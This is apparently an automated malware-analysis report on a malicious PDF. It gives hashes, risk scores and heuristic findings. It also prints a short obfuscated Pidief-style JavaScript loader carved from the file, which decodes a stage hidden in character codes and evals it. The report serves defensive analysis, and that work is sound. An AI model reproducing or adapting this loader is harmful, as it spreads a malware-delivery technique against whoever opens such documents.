Malicious PDF — malware analysis report

Static analysis result for SHA-256 596a376e8814b7ff…

MALICIOUS

PDF

45.0 KB First seen: 2013-07-24
MD5: c492467158a8e3b15735f9a3538f9ff5 SHA-1: c0b710730d8ea1500a4ba91eaf415ff14a8988fd SHA-256: 596a376e8814b7ff87ac2a3c100087fd7e5e6e841b585d84505e38957da27157
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious Order: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is the primary mechanism for attack, likely to download and execute a secondary payload or exploit a vulnerability. No document body text was available for further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB124 478 bytes
SHA-256: 098114b498947feba2703ddf6a5fafc2b4f6c2dd6ef621e66d2a949a01ca7143
Preview script
First 1,000 lines of the extracted script
qdc='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
sshpv=e('ti'+'tle');
s=sshpv.substr(t.length + 8,3)+'str';
q=sshpv[s](1,(1,9));
ngwde=e('S'+'tring.fro'+q);
q=sshpv[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	kxmvb = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	qdc += ngwde(kxmvb);
}
e(qdc);

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